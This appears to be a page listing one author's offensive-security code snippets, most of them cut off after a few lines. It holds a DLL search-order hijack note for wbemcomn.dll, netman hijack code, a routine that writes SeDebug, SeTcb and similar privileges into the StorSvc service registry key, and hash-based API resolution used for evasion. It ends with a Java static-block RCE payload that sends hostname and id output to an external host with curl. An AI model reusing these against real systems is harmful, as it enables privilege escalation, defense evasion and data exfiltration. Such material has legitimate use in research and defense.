v1stra

wbemcomn.dll

wbemcomn.dll is naturally found in C:\windows\system32, however, some WMI serves run with a working directory of C:\windows\system32\wbem. This means that DLLs might load with a search order hijack by first looking in the working directory.

This DLL hijack appears to at least effect explorer.exe and the following services:

• WMI
• Windows Update
• WMI Performance Adapter
• WSL

v1stra

/* https://itm4n.github.io/windows-server-netman-dll-hijacking/ */
#include <windows.h>
#include <netcon.h>
#include <stdio.h>

/* https://github.com/reactos/reactos/blob/master/sdk/lib/uuid/otherguids.c */
DEFINE_GUID(IID_INetConnectionManager,       0xC08956A2,0x1CD3,0x11D1,0xB1,0xC5,0x00,0x80,0x5F,0xC1,0x27,0x0E);
DEFINE_GUID(CLSID_ConnectionManager,         0xBA126AD1,0x2166,0x11D1,0xB1,0xD0,0x00,0x80,0x5F,0xC1,0x27,0x0E);

void go() {

v1stra

/* tcc asm_get_ntdll.c */

#include <Windows.h>
#include <stdio.h>


void * get_ntdll() {
    unsigned long long ret;
    __asm__ (
        "

v1stra

/* Overwrites the privileges for the service in the registry */
BOOL AddPrivilegeToStorSvc() {

    HKEY hKey;
    LONG lResult;
    TCHAR * szValue = TEXT("SeTcbPrivilege\0SeLoadDriverPrivilege\0SeBackupPrivilege\0SeRestorePrivilege\0SeSystemEnvironmentPrivilege\0SeManageVolumePrivilege\0SeTakeOwnershipPrivilege\0SeDebugPrivilege\0SeAssignPrimaryTokenPrivilege\0\0");

    // Open the key
    lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SYSTEM\\CurrentControlSet\\Services\\StorSvc"), 0, KEY_READ | KEY_SET_VALUE, &hKey);

v1stra

using System;
using System.IO;
using System.Runtime.InteropServices;

class Program
{

    // Values for PAGE_ constants can be found in the Windows SDK
    const uint PAGE_EXECUTE_READ = 0x20;
    const uint PAGE_EXECUTE_READWRITE = 0x40;

v1stra

.code 

asm_hash PROC
	push rbp
	mov rbp, rsp
	mov qword ptr [rbp - 28h], rdi
	mov qword ptr [rbp - 30h], rsi
	mov qword ptr [rbp - 10h], 1505h
	mov rax, qword ptr [rbp - 28h]
	mov qword ptr [rbp - 8h], rcx

v1stra

#include <stdio.h>
#include <Windows.h>

// pe_get_function_by_hash function: takes a pointer to a DLL mapped to memory, and a djb2 hash value of a function.
// It then searches the DLL's export table, hashing the value of the strings in the table, and then returns
// the address to that function.
PVOID pe_get_function_by_hash(PVOID dll, ULONG hashValue)
{

v1stra

using System;

class Program {
  public enum test : int {
      SCRIPT = 0x00000001,
      ACCOUNTDISABLE = 0x00000002,
      HOMEDIR_REQUIRED = 0x00000008,
      LOCKOUT = 0x00000010,
      PASSWD_NOTREQD = 0x00000020,
      PASSWD_CANT_CHANGE = 0x00000040,

v1stra

public class Exec {
    static {
        try {
	    boolean isWindows = System.getProperty("os.name").toLowerCase().startsWith("windows");
	    if (isWindows) {
            	String[] cmd = {"cmd.exe", "/C", "nslookup triggered-rce.windows.v1x.us"};
            	java.lang.Runtime.getRuntime().exec(cmd).waitFor();
	    } else {
		String[] cmd = {"bash", "-c", "(hostname && echo && id) | curl http://results.v1x.us -d '@-'"};
		java.lang.Runtime.getRuntime().exec(cmd).waitFor();